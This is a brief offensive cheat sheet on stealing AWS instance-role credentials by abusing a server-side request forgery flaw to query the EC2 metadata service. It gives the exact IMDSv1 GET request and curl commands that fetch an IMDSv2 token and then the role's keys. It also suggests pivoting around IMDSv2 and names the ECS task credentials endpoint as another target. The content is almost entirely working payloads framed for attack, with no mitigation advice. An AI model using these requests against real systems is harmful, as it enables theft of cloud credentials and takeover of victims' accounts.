Steal cloud credentials through SSRF and IMDS

If you have SSRF on an EC2-hosted app, the instance role’s keys are one request away. With IMDSv1 it is a plain GET.

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE HTTP/1.1

IMDSv2 needs a token first, so the SSRF must allow a PUT with a header.

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE

Pro note: if the SSRF is GET-only, IMDSv2 blocks you, so pivot to another internal service. On ECS the analogous path is the task credentials endpoint referenced by AWS_CONTAINER_CREDENTIALS_RELATIVE_URI, which needs no token.